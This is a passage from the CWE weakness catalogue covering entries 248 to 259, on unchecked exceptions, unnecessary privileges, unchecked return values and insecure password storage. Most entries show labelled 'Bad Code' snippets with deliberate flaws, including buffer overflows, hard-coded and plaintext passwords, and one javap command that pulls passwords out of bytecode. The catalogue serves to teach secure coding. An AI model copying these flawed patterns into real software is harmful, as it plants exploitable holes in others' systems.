    InetAddress addr = InetAddress.getByName(ip);
    ...
    out.println("hello " + addr.getHostName());
}
```

A DNS lookup failure will cause the Servlet to throw an exception.

Example 2:

The `_alloca()` function allocates memory on the stack. If an allocation request is too large for the available stack space, `_alloca()` throws an exception. If the exception is not caught, the program will crash, potentially enabling a denial of service attack. `_alloca()` has been deprecated as of Microsoft Visual Studio 2005(R). It has been replaced with the more secure `_alloca_s()`.

Example 3:

`EnterCriticalSection()` can raise an exception, potentially causing the program to crash. Under operating systems prior to Windows 2000, the `EnterCriticalSection()` function can raise an exception in low memory situations. If the exception is not caught, the program will crash, potentially enabling a denial of service attack.

CWE-249: DEPRECATED: Often Misused: Path Manipulation

Weakness ID: 249 (*Deprecated Weakness Variant*)

Status: Deprecated

Description

Summary

This entry has been deprecated because of name confusion and an accidental combination of multiple weaknesses. Most of its content has been transferred to CWE-785.

Maintenance Notes

This entry was deprecated for several reasons. The primary reason is over-loading of the "path manipulation" term and the description. The original description for this entry was the same as that for the "Often Misused: File System" item in the original Seven Pernicious Kingdoms paper. However, Seven Pernicious Kingdoms also has a "Path Manipulation" phrase that is for external control of pathnames (CWE-73), which is a factor in symbolic link following and path traversal, neither of which is explicitly mentioned in 7PK. Fortify uses the phrase "Often Misused: Path Manipulation" for a broader range of problems, generally for issues related to buffer management. Given the multiple conflicting uses of this term, there is a chance that CWE users may have incorrectly mapped to this entry.

The second reason for deprecation is an implied combination of multiple weaknesses within buffer-handling functions. The focus of this entry has generally been on the path-conversion functions and their association with buffer overflows. However, some of Fortify's Vulncat entries have the term "path manipulation" but describe a non-overflow weakness in which the buffer is not guaranteed to contain the entire pathname, i.e., there is information truncation (see CWE-222 for a similar concept). A new entry for this non-overflow weakness may be created in a future version of CWE.

CWE-250: Execution with Unnecessary Privileges

Weakness ID: 250 (*Weakness Class*)

Status: Draft

Description

Summary

The software performs an operation at a privilege level that is higher than the minimum level required, which creates new weaknesses or amplifies the consequences of other weaknesses.

Extended Description

New weaknesses can be exposed because running with extra privileges, such as root or Administrator, can disable the normal security checks being performed by the operating system or surrounding environment. Other pre-existing weaknesses can turn into security vulnerabilities if they occur while operating at raised privileges.

Privilege management functions can behave in some less-than-obvious ways, and they have different quirks on different platforms. These inconsistencies are particularly pronounced if you are transitioning from one non-root user to another. Signal handlers and spawned processes run at the privilege of the owning process, so if a process is running as root when a signal fires or a sub-process is executed, the signal handler or sub-process will operate with root privileges.

Time of Introduction

- Installation

- Operation

Applicable Platforms

Languages

- Language-Independent

Architectural Paradigms

- Mobile Application

Modes of Introduction

REALIZATION: This weakness is caused during implementation of an architectural security tactic.

If an application has this design problem, then it can be easier for the developer to make implementation-related errors such as CWE-271 (Privilege Dropping / Lowering Errors). In addition, the consequences of Privilege Chaining (CWE-268) can become more severe.

Common Consequences**Confidentiality****Integrity****Availability****Access Control****Gain privileges / assume identity****Execute unauthorized code or commands****Read application data****DoS: crash / exit / restart**

An attacker will be able to gain access to any resources that are allowed by the extra privileges.

Common results include executing code, disabling services, and reading restricted data.

Likelihood of Exploit

Medium

Detection Methods**Manual Analysis**

This weakness can be detected using tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session.

These may be more effective than strictly automated techniques. This is especially the case with weaknesses that are related to design and business rules.

Black Box

Use monitoring tools that examine the software's process as it interacts with the operating system and the network. This technique is useful in cases when source code is unavailable, if the software was not developed by you, or if you want to verify that the build phase did not introduce any new weaknesses. Examples include debuggers that directly attach to the running process; system-call tracing utilities such as truss (Solaris) and strace (Linux); system activity monitors such as FileMon, RegMon, Process Monitor, and other Sysinternals utilities (Windows); and sniffers and protocol analyzers that monitor network traffic.

Attach the monitor to the process and perform a login. Look for library functions and system calls that indicate when privileges are being raised or dropped. Look for accesses of resources that are restricted to normal users.

Note that this technique is only useful for privilege issues related to system resources. It is not likely to detect application-level business rules that are related to privileges, such as if a blog system allows a user to delete a blog entry without first checking that the user has administrator privileges.

Automated Static Analysis - Binary / Bytecode**SOAR High**

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

Compare binary / bytecode to application permission manifest

Cost effective for partial coverage:

Bytecode Weakness Analysis - including disassembler + source code weakness analysis

Binary Weakness Analysis - including disassembler + source code weakness analysis

Manual Static Analysis - Binary / Bytecode**SOAR Partial**

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

Dynamic Analysis with automated results interpretation**SOAR Partial**

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

Host-based Vulnerability Scanners – Examine configuration for flaws, verifying that audit mechanisms work, ensure host configuration meets certain predefined criteria

Dynamic Analysis with manual results interpretation**SOAR Partial**

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

Host Application Interface Scanner

Manual Static Analysis - Source Code**SOAR High**

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

Formal Methods / Correct-By-Construction

Cost effective for partial coverage:

Attack Modeling

Demonstrative Examples**Example 1:**

This code temporarily raises the program's privileges to allow creation of a new user folder.

Python Example:

Bad Code

```
def makeNewUserDir(username):
    if invalidUsername(username):
        #avoid CWE-22 and CWE-78
        print('Usernames cannot contain invalid characters')
    return False
```

```

try:
    raisePrivileges()
    os.mkdir('/home/' + username)
    lowerPrivileges()
except OSError:
    print('Unable to create new user directory for user:' + username)
    return False
return True

```

While the program only raises its privilege level to create the folder and immediately lowers it again, if the call to `os.mkdir()` throws an exception, the call to `lowerPrivileges()` will not occur. As a result, the program is indefinitely operating in a raised privilege state, possibly allowing further exploitation to occur.

Example 2:

The following code calls `chroot()` to restrict the application to a subset of the filesystem below `APP_HOME` in order to prevent an attacker from using the program to gain unauthorized access to files located elsewhere. The code then opens a file specified by the user and processes the contents of the file.

C Example:

Bad Code

```

chroot(APP_HOME);
chdir("/");
FILE* data = fopen(argv[1], "r+");
...

```

Constraining the process inside the application's home directory before opening any files is a valuable security measure. However, the absence of a call to `setuid()` with some non-zero value means the application is continuing to operate with unnecessary root privileges. Any successful exploit carried out by an attacker against the application can now result in a privilege escalation attack because any malicious operations will be performed with the privileges of the superuser. If the application drops to the privilege level of a non-root user, the potential for damage is substantially reduced.

Example 3:

This application intends to use a user's location to determine the timezone the user is in:

Java Example:

Bad Code

```

locationClient = new LocationClient(this, this, this);
locationClient.connect();
Location userCurrLocation;
userCurrLocation = locationClient.getLastLocation();
setTimeZone(userCurrLocation);

```

This is unnecessary use of the location API, as this information is already available using the Android Time API. Always be sure there is not another way to obtain needed information before resorting to using the location API.

Example 4:

This code uses location to determine the user's current US State location.

First the application must declare that it requires the `ACCESS_FINE_LOCATION` permission in the application's `manifest.xml`:

XML Example:

Bad Code

```

<uses-permission android:name="android.permission.ACCESS_FINE_LOCATION"/>

```

During execution, a call to `getLastLocation()` will return a location based on the application's location permissions. In this case the application has permission for the most accurate location possible:

Java Example:

Bad Code

```

locationClient = new LocationClient(this, this, this);
locationClient.connect();
Location userCurrLocation;
userCurrLocation = locationClient.getLastLocation();

```

```
deriveStateFromCoords(userCurrLocation);
```

While the application needs this information, it does not need to use the ACCESS_FINE_LOCATION permission, as the ACCESS_COARSE_LOCATION permission will be sufficient to identify which US state the user is in.

Observed Examples

Reference	Description
CVE-2007-3931	Installation script installs some programs as setuid when they shouldn't be.
CVE-2007-4217	FTP client program on a certain OS runs with setuid privileges and has a buffer overflow. Most clients do not need extra privileges, so an overflow is not a vulnerability for those clients.
CVE-2007-5159	OS incorrectly installs a program with setuid privileges, allowing users to gain privileges.
CVE-2008-0162	Program does not drop privileges before calling another program, allowing code execution.
CVE-2008-0368	setuid root program allows creation of arbitrary files through command line argument.
CVE-2008-1877	Program runs with privileges and calls another program with the same privileges, which allows read of arbitrary files.
CVE-2008-4638	Composite: application running with high privileges allows user to specify a restricted file to process, which generates a parsing error that leaks the contents of the file.

Potential Mitigations

Architecture and Design

Operation

Environment Hardening

Run your code using the lowest privileges that are required to accomplish the necessary tasks [R.250.2]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.

Architecture and Design

Separation of Privilege

Identify and Reduce Attack Surface

Identify the functionality that requires additional privileges, such as access to privileged operating system resources. Wrap and centralize this functionality if possible, and isolate the privileged code as much as possible from other code [R.250.2]. Raise privileges as late as possible, and drop them as soon as possible to avoid CWE-271. Avoid weaknesses such as CWE-288 and CWE-420 by protecting all possible communication channels that could interact with the privileged code, such as a secondary socket that is only intended to be accessed by administrators.

Implementation

Perform extensive input validation for any privileged code that must be exposed to the user and reject anything that does not fit your strict requirements.

Implementation

When dropping privileges, ensure that they have been dropped successfully to avoid CWE-273. As protection mechanisms in the environment get stronger, privilege-dropping calls may fail even if it seems like they would always succeed.

Implementation

If circumstances force you to run with extra privileges, then determine the minimum access level necessary. First identify the different permissions that the software and its users will need to perform their actions, such as file read and write permissions, network socket permissions, and so forth. Then explicitly allow those actions while denying all else [R.250.2]. Perform extensive input validation and canonicalization to minimize the chances of introducing a separate vulnerability. This mitigation is much more prone to error than dropping the privileges in the first place.

Operation**System Configuration****Environment Hardening**

Ensure that the software runs properly under the Federal Desktop Core Configuration (FDCC) [R.250.4] or an equivalent hardening configuration guide, which many organizations use to limit the attack surface and potential risk of deployed software.

Relationships

Nature	Type	ID	Name	V	Page

Maintenance Notes

CWE-271, CWE-272, and CWE-250 are all closely related and possibly overlapping. CWE-271 is probably better suited as a category. Both CWE-272 and CWE-250 are in active use by the community. The "least privilege" phrase has multiple interpretations.

CWE-251: Often Misused: String Management

Category ID: 251 (Category) Status: Incomplete

Description

Summary

Functions that manipulate strings encourage buffer overflows.

Relationships

Nature	Type	ID	Name	<input checked="" type="checkbox"/>	Page
ChildOf		133	String Errors	699	270
ChildOf		227	7PK - API Abuse	700	410

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
7 Pernicious Kingdoms	Often Misused: Strings

CWE-252: Unchecked Return Value

Weakness ID: 252 (Weakness Base) Status: Draft

Description

Summary

The software does not check the return value from a method or function, which can prevent it from detecting unexpected states and conditions.

Extended Description

Two common programmer assumptions are "this function call can never fail" and "it doesn't matter if this function call fails". If an attacker can force the function to fail or otherwise return a value that is not expected, then the subsequent program logic could lead to a vulnerability, because the software is not in a state that the programmer assumes. For example, if the program calls a function to drop privileges but does not check the return code to ensure that privileges were successfully dropped, then the program will continue to operate with the higher privileges.

Time of Introduction

- Implementation

Applicable Platforms

Languages

- Language-Independent

Common Consequences

Availability

Integrity

Unexpected state

DoS: crash / exit / restart

An unexpected return value could place the system in a state that could lead to a crash or other unintended behaviors.

Likelihood of Exploit

Low

Demonstrative Examples

Example 1:

Consider the following code segment:

C Example:

```
char buf[10], cp_buf[10];
fgets(buf, 10, stdin);
strcpy(cp_buf, buf);
```

Bad Code

The programmer expects that when `fgets()` returns, `buf` will contain a null-terminated string of length 9 or less. But if an I/O error occurs, `fgets()` will not null-terminate `buf`. Furthermore, if the end of the file is reached before any characters are read, `fgets()` returns without writing anything to `buf`. In both of these situations, `fgets()` signals that something unusual has happened by returning

NULL, but in this code, the warning will not be noticed. The lack of a null terminator in buf can result in a buffer overflow in the subsequent call to strcpy().

Example 2:

In the following example, it is possible to request that memcpy move a much larger segment of memory than assumed:

C Example:

Bad Code

```
int returnChunkSize(void *) {
    /* if chunk info is valid, return the size of usable memory,
     * else, return -1 to indicate an error
     */
    ...
}
int main() {
    ...
    memcpy(destBuf, srcBuf, (returnChunkSize(destBuf)-1));
    ...
}
```

If returnChunkSize() happens to encounter an error it will return -1. Notice that the return value is not checked before the memcpy operation (CWE-252), so -1 can be passed as the size argument to memcpy() (CWE-805). Because memcpy() assumes that the value is unsigned, it will be interpreted as MAXINT-1 (CWE-195), and therefore will copy far more memory than is likely available to the destination buffer (CWE-787, CWE-788).

Example 3:

The following code does not check to see if memory allocation succeeded before attempting to use the pointer returned by malloc().

C Example:

Bad Code

```
buf = (char*) malloc(req_size);
strcpy(buf, xfer, req_size);
```

The traditional defense of this coding error is: "If my program runs out of memory, it will fail. It doesn't matter whether I handle the error or simply allow the program to die with a segmentation fault when it tries to dereference the null pointer." This argument ignores three important considerations:

Depending upon the type and size of the application, it may be possible to free memory that is being used elsewhere so that execution can continue.

It is impossible for the program to perform a graceful exit if required. If the program is performing an atomic operation, it can leave the system in an inconsistent state.

The programmer has lost the opportunity to record diagnostic information. Did the call to malloc() fail because req_size was too large or because there were too many requests being handled at the same time? Or was it caused by a memory leak that has built up over time? Without handling the error, there is no way to know.

Example 4:

The following examples read a file into a byte array.

C# Example:

Bad Code

```
char[] byteArray = new char[1024];
for (IEnumerator i=users.GetEnumerator(); i.MoveNext(); i.Current()) {
    String userName = (String) i.Current();
    String pFileName = PFILE_ROOT + "/" + userName;
    StreamReader sr = new StreamReader(pFileName);
    sr.Read(byteArray,0,1024);//the file is always 1k bytes
    sr.Close();
    processPFile(userName, byteArray);
}
```

Java Example:

Bad Code

```
FileInputStream fis;
byte[] byteArray = new byte[1024];
```

```

for (Iterator i=users.iterator(); i.hasNext();) {
    String userName = (String) i.next();
    String pFileName = PFILE_ROOT + "/" + userName;
    FileInputStream fis = new FileInputStream(pFileName);
    fis.read(byteArray); // the file is always 1k bytes
    fis.close();
    processPFile(userName, byteArray);
}

```

The code loops through a set of users, reading a private data file for each user. The programmer assumes that the files are always 1 kilobyte in size and therefore ignores the return value from Read(). If an attacker can create a smaller file, the program will recycle the remainder of the data from the previous user and treat it as though it belongs to the attacker.

Example 5:

The following code does not check to see if the string returned by getParameter() is null before calling the member function compareTo(), potentially causing a NULL dereference.

Java Example:

Bad Code

```

String itemName = request.getParameter(ITEM_NAME);
if (itemName.compareTo(IMPORTANT_ITEM)) {
    ...
}
...

```

The following code does not check to see if the string returned by theItem property is null before calling the member function Equals(), potentially causing a NULL dereference. string itemName = request.Item(ITEM_NAME);

Bad Code

```

if (itemName.Equals(IMPORTANT_ITEM)) {
    ...
}
...

```

The traditional defense of this coding error is: "I know the requested value will always exist because.... If it does not exist, the program cannot perform the desired behavior so it doesn't matter whether I handle the error or simply allow the program to die dereferencing a null value." But attackers are skilled at finding unexpected paths through programs, particularly when exceptions are involved.

Example 6:

The following code shows a system property that is set to null and later dereferenced by a programmer who mistakenly assumes it will always be defined.

Bad Code

```

System.clearProperty("os.name");
...
String os = System.getProperty("os.name");
if (os.equalsIgnoreCase("Windows 95")) System.out.println("Not supported");

```

The traditional defense of this coding error is: "I know the requested value will always exist because.... If it does not exist, the program cannot perform the desired behavior so it doesn't matter whether I handle the error or simply allow the program to die dereferencing a null value." But attackers are skilled at finding unexpected paths through programs, particularly when exceptions are involved.

Example 7:

The following VB.NET code does not check to make sure that it has read 50 bytes from myfile.txt. This can cause DoDangerousOperation() to operate on an unexpected value.

Bad Code

```

Dim MyFile As New FileStream("myfile.txt", FileMode.Open, FileAccess.Read, FileShare.Read)
Dim MyArray(50) As Byte
MyFile.Read(MyArray, 0, 50)
DoDangerousOperation(MyArray(20))

```

In .NET, it is not uncommon for programmers to misunderstand Read() and related methods that are part of many System.IO classes. The stream and reader classes do not consider it to be unusual or exceptional if only a small amount of data becomes available. These classes simply add the small amount of data to the return buffer, and set the return value to the number of bytes or characters read. There is no guarantee that the amount of data returned is equal to the amount of data requested.

Example 8:

It is not uncommon for Java programmers to misunderstand read() and related methods that are part of many java.io classes. Most errors and unusual events in Java result in an exception being thrown. But the stream and reader classes do not consider it unusual or exceptional if only a small amount of data becomes available. These classes simply add the small amount of data to the return buffer, and set the return value to the number of bytes or characters read. There is no guarantee that the amount of data returned is equal to the amount of data requested. This behavior makes it important for programmers to examine the return value from read() and other IO methods to ensure that they receive the amount of data they expect.

Example 9:

This example takes an IP address from a user, verifies that it is well formed and then looks up the hostname and copies it into a buffer.

C Example:*Bad Code*

```
void host_lookup(char *user_supplied_addr){
    struct hostent *hp;
    in_addr_t *addr;
    char hostname[64];
    in_addr_t inet_addr(const char *cp);
    /*routine that ensures user_supplied_addr is in the right format for conversion */
    validate_addr_form(user_supplied_addr);
    addr = inet_addr(user_supplied_addr);
    hp = gethostbyaddr( addr, sizeof(struct in_addr), AF_INET);
    strcpy(hostname, hp->h_name);
}
```

If an attacker provides an address that appears to be well-formed, but the address does not resolve to a hostname, then the call to gethostbyaddr() will return NULL. When this occurs, a NULL pointer dereference (CWE-476) will occur in the call to strcpy().

Note that this example is also vulnerable to a buffer overflow (see CWE-119).

Example 10:

The following function attempts to acquire a lock in order to perform operations on a shared resource.

C Example:*Bad Code*

```
void f(pthread_mutex_t *mutex) {
    pthread_mutex_lock(mutex);
    /* access shared resource */
    pthread_mutex_unlock(mutex);
}
```

However, the code does not check the value returned by pthread_mutex_lock() for errors. If pthread_mutex_lock() cannot acquire the mutex for any reason the function may introduce a race condition into the program and result in undefined behavior.

In order to avoid data races correctly written programs must check the result of thread synchronization functions and appropriately handle all errors, either by attempting to recover from them or reporting them to higher levels.

Good Code

```
int f(pthread_mutex_t *mutex) {
    int result;
    result = pthread_mutex_lock(mutex);
    if (0 != result)
        return result;
    /* access shared resource */
}
```

```
return pthread_mutex_unlock(mutex);
}
```

Observed Examples

Reference	Description
CVE-2006-2916	Program does not check return value when invoking functions to drop privileges, which could leave users with higher privileges than expected by forcing those functions to fail.
CVE-2006-4447	Program does not check return value when invoking functions to drop privileges, which could leave users with higher privileges than expected by forcing those functions to fail.
CVE-2007-3798	Unchecked return value leads to resultant integer overflow and code execution.
CVE-2008-5183	chain: unchecked return value can lead to NULL dereference
CVE-2010-0211	chain: unchecked return value (CWE-252) leads to free of invalid, uninitialized pointer (CWE-824).

Potential Mitigations

Implementation

High

Check the results of all functions that return a value and verify that the value is expected. Checking the return value of the function will typically be sufficient, however beware of race conditions (CWE-362) in a concurrent environment.

Implementation

Ensure that you account for all possible return values from the function.

Implementation

When designing a function, make sure you return a value or throw an exception in case of an error.

Background Details

Many functions will return some value about the success of their actions. This will alert the program whether or not to handle any errors caused by that function.

CWE-253: Incorrect Check of Function Return Value**Weakness ID:** 253 (*Weakness Base*)**Status:** Incomplete**Description****Summary**

The software incorrectly checks a return value from a function, which prevents the software from detecting errors or exceptional conditions.

Extended Description

Important and common functions will return some value about the success of its actions. This will alert the program whether or not to handle any errors caused by that function.

Time of Introduction

- Implementation

Applicable Platforms**Languages**

- Language-Independent

Common Consequences**Availability****Integrity****Unexpected state****DoS: crash / exit / restart**

An unexpected return value could place the system in a state that could lead to a crash or other unintended behaviors.

Likelihood of Exploit

Low

Demonstrative Examples

This code attempts to allocate memory for 4 integers and checks if the allocation succeeds.

C Example:*Bad Code*

```
tmp = malloc(sizeof(int) * 4);
if (tmp < 0) {
    perror("Failure");
    //should have checked if the call returned 0
}
```

The code assumes that only a negative return value would indicate an error, but malloc() may return a null pointer when there is an error. The value of tmp could then be equal to 0, and the error would be missed.

Potential Mitigations**Architecture and Design****Language Selection**

Use a language or compiler that uses exceptions and requires the catching of those exceptions.

Implementation

Properly check all functions which return a value.

Implementation

When designing any function make sure you return a value or throw an exception in case of an error.

CWE-256: Plaintext Storage of a Password

Weakness ID: 256 (Weakness Variant)

Status: Incomplete

Description

Summary

Storing a password in plaintext may result in a system compromise.

Extended Description

Password management issues occur when a password is stored in plaintext in an application's properties or configuration file. Storing a plaintext password in a configuration file allows anyone who can read the file access to the password-protected resource.

Time of Introduction

- Architecture and Design

Applicable Platforms

Languages

- Language-Independent

Modes of Introduction

OMISSION: This weakness is caused by missing a security tactic during the architecture and design phase.

Developers sometimes believe that they cannot defend the application from someone who has access to the configuration, but this belief makes an attacker's job easier.

Common Consequences

Access Control

Gain privileges / assume identity

Likelihood of Exploit

High

Demonstrative Examples

Example 1:

The following code reads a password from a properties file and uses the password to connect to a database.

Java Example:

Bad Code

```
...
Properties prop = new Properties();
prop.load(new FileInputStream("config.properties"));
String password = prop.getProperty("password");
DriverManager.getConnection(url, usr, password);
...
```

This code will run successfully, but anyone who has access to config.properties can read the value of password. If a devious employee has access to this information, they can use it to break into the system.

Example 2:

The following code reads a password from the registry and uses the password to create a new network credential.

Java Example:

Bad Code

```
...
String password = regKey.GetValue(passKey).toString();
NetworkCredential netCred = new NetworkCredential(username,password,domain);
...
```

This code will run successfully, but anyone who has access to the registry key used to store the password can read the value of password. If a devious employee has access to this information, they can use it to break into the system

Example 3:

The following examples show a portion of properties and configuration files for Java and ASP.NET applications. The files include username and password information but they are stored in plaintext. This Java example shows a properties file with a plaintext username / password pair.

Java Example:

Bad Code

```
# Java Web App ResourceBundle properties file
...
webapp.Idap.username=secretUsername
webapp.Idap.password=secretPassword
...
```

The following example shows a portion of a configuration file for an ASP.Net application. This configuration file includes username and password information for a connection to a database but the pair is stored in plaintext.

ASP.NET Example:*Bad Code*

```
...
<connectionStrings>
<add name="ud_DEV" connectionString="connectDB=uDB; uid=db2admin; pwd=password; dbalias=uDB;"
providerName="System.Data.Odbc" />
</connectionStrings>
...
```

Username and password information should not be included in a configuration file or a properties file in plaintext as this will allow anyone who can read the file access to the resource. If possible, encrypt this information and avoid CWE-260 and CWE-13.

Potential Mitigations**Architecture and Design**

Avoid storing passwords in easily accessible locations.

Architecture and Design

Consider storing cryptographic hashes of passwords as an alternative to storing in plaintext.

None

A programmer might attempt to remedy the password management problem by obscuring the password with an encoding function, such as base 64 encoding, but this effort does not adequately protect the password because the encoding can be detected and decoded easily.

Weakness Ordinalities

Primary (where the weakness exists independent of other weaknesses)

Relationships

Nature	Type	ID	Name	<input checked="" type="checkbox"/>	Page

CWE-257: Storing Passwords in a Recoverable Format

Weakness ID: 257 (Weakness Base)**Status:** Incomplete**Description****Summary**

The storage of passwords in a recoverable format makes them subject to password reuse attacks by malicious users. In fact, it should be noted that recoverable encrypted passwords provide no significant benefit over plaintext passwords since they are subject not only to reuse by malicious attackers but also by malicious insiders. If a system administrator can recover a password directly, or use a brute force search on the available information, the administrator can use the password on other accounts.

Time of Introduction

- Architecture and Design

Applicable Platforms

Languages

- Language-Independent

Modes of Introduction

COMMISSION: This weakness refers to an incorrect design related to an architectural security tactic.

Common Consequences

Confidentiality

Access Control

Gain privileges / assume identity

User's passwords may be revealed.

Access Control

Gain privileges / assume identity

Revealed passwords may be reused elsewhere to impersonate the users in question.

Likelihood of Exploit

High

Demonstrative Examples

Example 1:

Both of these examples verify a password by comparing it to a stored compressed version.

C Example:

Bad Code

```
int VerifyAdmin(char *password) {
    if (strcmp(compress(password), compressed_password)) {
        printf("Incorrect Password!\n");
        return(0);
    }
    printf("Entering Diagnostic Mode...\n");
    return(1);
}
```

Java Example:

Bad Code

```
int VerifyAdmin(String password) {
    if (passwd.Equals(compress(password), compressed_password)) {
        return(0);
    }
    //Diagnostic Mode
    return(1);
}
```

Because a compression algorithm is used instead of a one way hashing algorithm, an attacker can recover compressed passwords stored in the database.

Example 2:

The following examples show a portion of properties and configuration files for Java and ASP.NET applications. The files include username and password information but they are stored in plaintext. This Java example shows a properties file with a plaintext username / password pair.

Java Example:

Bad Code

```
# Java Web App ResourceBundle properties file
...
webapp.idap.username=secretUsername
webapp.idap.password=secretPassword
...
```

The following example shows a portion of a configuration file for an ASP.Net application. This configuration file includes username and password information for a connection to a database but the pair is stored in plaintext.

ASP.NET Example:

Bad Code

```
...
<connectionStrings>
```

```
<add name="ud_DEV" connectionString="connectDB=uDB; uid=db2admin; pwd=password; dbalias=uDB;"
providerName="System.Data.Odbc" />
</connectionStrings>
...
```

Username and password information should not be included in a configuration file or a properties file in plaintext as this will allow anyone who can read the file access to the resource. If possible, encrypt this information and avoid CWE-260 and CWE-13.

Potential Mitigations

Architecture and Design

Use strong, non-reversible encryption to protect stored passwords.

Weakness Ordinalities

Primary (where the weakness exists independent of other weaknesses)

Relationships

Nature	Type	ID	Name		Page

Maintenance Notes

The meaning of this node needs to be investigated more closely, especially with respect to what is meant by "recoverable."

CWE-258: Empty Password in Configuration File

Weakness ID: 258 (Weakness Variant)

Status: Incomplete

Description

Summary

Using an empty string as a password is insecure.

Time of Introduction

- Architecture and Design
- Implementation
- Operation

Applicable Platforms

Languages

- Language-Independent

Modes of Introduction

REALIZATION: This weakness is caused during implementation of an architectural security tactic.

Common Consequences

Access Control

Gain privileges / assume identity

Likelihood of Exploit

High

Demonstrative Examples

The following examples show a portion of properties and configuration files for Java and ASP.NET applications. The files include username and password information but the password is provided as an empty string.

This Java example shows a properties file with an empty password string.

Java Example:

Bad Code

```
# Java Web App ResourceBundle properties file
...
webapp.Idap.username=secretUsername
webapp.Idap.password=
...
```

The following example shows a portion of a configuration file for an ASP.Net application. This configuration file includes username and password information for a connection to a database and the password is provided as an empty string.

ASP.NET Example:

Bad Code

```
...
<connectionStrings>
<add name="ud_DEV" connectionString="connectDB=uDB; uid=db2admin; pwd=; dbalias=uDB;"
providerName="System.Data.Odbc" />
</connectionStrings>
...
```

An empty string should never be used as a password as this can allow unauthorized access to the application. Username and password information should not be included in a configuration file or a properties file in clear text. If possible, encrypt this information and avoid CWE-260 and CWE-13.

Potential Mitigations

System Configuration

Passwords should be at least eight characters long -- the longer the better. Avoid passwords that are in any way similar to other passwords you have. Avoid using words that may be found in a dictionary, names book, on a map, etc. Consider incorporating numbers and/or punctuation into your password. If you do use common words, consider replacing letters in that word with numbers and punctuation. However, do not use "similar-looking" punctuation. For example, it is not a good idea to change cat to c@t, ca+, (@+, or anything similar. Finally, it is never appropriate to use an empty string as a password.

CWE-259: Use of Hard-coded Password

Weakness ID: 259 (Weakness Base) **Status:** Draft

Description

Summary

The software contains a hard-coded password, which it uses for its own inbound authentication or for outbound communication to external components.

Extended Description

A hard-coded password typically leads to a significant authentication failure that can be difficult for the system administrator to detect. Once detected, it can be difficult to fix, so the administrator may be forced into disabling the product entirely. There are two main variations:

Inbound: the software contains an authentication mechanism that checks for a hard-coded password.

Outbound: the software connects to another system or component, and it contains hard-coded password for connecting to that component.

In the Inbound variant, a default administration account is created, and a simple password is hard-coded into the product and associated with that account. This hard-coded password is the same for each installation of the product, and it usually cannot be changed or disabled by system administrators without manually modifying the program, or otherwise patching the software. If the password is ever discovered or published (a common occurrence on the Internet), then anybody with knowledge of this password can access the product. Finally, since all installations of the software will have the same password, even across different organizations, this enables massive attacks such as worms to take place.

The Outbound variant applies to front-end systems that authenticate with a back-end service. The back-end service may require a fixed password which can be easily discovered. The programmer may simply hard-code those back-end credentials into the front-end software. Any user of that program may be able to extract the password. Client-side systems with hard-coded passwords pose even more of a threat, since the extraction of a password from a binary is usually very simple.

Time of Introduction

- Implementation
- Architecture and Design

Applicable Platforms

Languages

- Language-Independent

Modes of Introduction

REALIZATION: This weakness is caused during implementation of an architectural security tactic.

Common Consequences

Access Control

Gain privileges / assume identity

If hard-coded passwords are used, it is almost certain that malicious users will gain access through the account in question.

Likelihood of Exploit

High

Detection Methods

Manual Analysis

This weakness can be detected using tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session.

These may be more effective than strictly automated techniques. This is especially the case with weaknesses that are related to design and business rules.

Black Box

Use monitoring tools that examine the software's process as it interacts with the operating system and the network. This technique is useful in cases when source code is unavailable, if the software was not developed by you, or if you want to verify that the build phase did not introduce any new weaknesses. Examples include debuggers that directly attach to the running process; system-call tracing utilities such as `truss` (Solaris) and `strace` (Linux); system activity monitors such as FileMon, RegMon, Process Monitor, and other Sysinternals utilities (Windows); and sniffers and protocol analyzers that monitor network traffic.

Attach the monitor to the process and perform a login. Using disassembled code, look at the associated instructions and see if any of them appear to be comparing the input to a fixed string or value.

Demonstrative Examples**Example 1:**

The following code uses a hard-coded password to connect to a database:

Java Example:*Bad Code*

```
...
DriverManager.getConnection(url, "scott", "tiger");
...
```

This is an example of an external hard-coded password on the client-side of a connection. This code will run successfully, but anyone who has access to it will have access to the password. Once the program has shipped, there is no going back from the database user "scott" with a password of "tiger" unless the program is patched. A devious employee with access to this information can use it to break into the system. Even worse, if attackers have access to the bytecode for application, they can use the `javap -c` command to access the disassembled code, which will contain the values of the passwords used. The result of this operation might look something like the following for the example above:

Attack

```
javap -c ConnMngr.class
22: ldc #36; //String jdbc:mysql://ixne.com/rxsql
24: ldc #38; //String scott
26: ldc #17; //String tiger
```

Example 2:

The following code is an example of an internal hard-coded password in the back-end:

C Example:*Bad Code*

```
int VerifyAdmin(char *password) {
    if (strcmp(password, "Mew!") {
        printf("Incorrect Password!\n");
        return(0)
    }
    printf("Entering Diagnostic Mode...\n");
    return(1);
}
```

Java Example:*Bad Code*

```
int VerifyAdmin(String password) {
    if (!password.equals("Mew!")) {
        return(0)
    }
    //Diagnostic Mode
    return(1);
}
```

Every instance of this program can be placed into diagnostic mode with the same password. Even worse is the fact that if this program is distributed as a binary-only distribution, it is very difficult to change that password or disable this "functionality."

Example 3:

The following examples show a portion of properties and configuration files for Java and ASP.NET applications. The files include username and password information but they are stored in plaintext. This Java example shows a properties file with a plaintext username / password pair.

Java Example:*Bad Code*

```
# Java Web App ResourceBundle properties file
...
webapp.ldap.username=secretUsername
webapp.ldap.password=secretPassword
...
```

The following example shows a portion of a configuration file for an ASP.Net application. This configuration file includes username and password information for a connection to a database but the pair is stored in plaintext.

ASP.NET Example:*Bad Code*

```
...
<connectionStrings>
<add name="ud_DEV" connectionString="connectDB=uDB; uid=db2admin; pwd=password; dbalias=uDB;"
providerName="System.Data.Odbc" />
</connectionStrings>
...
```

Username and password information should not be included in a configuration file or a properties file in plaintext as this will allow anyone who can read the file access to the resource. If possible, encrypt this information and avoid CWE-260 and CWE-13.

Potential Mitigations**Architecture and Design**

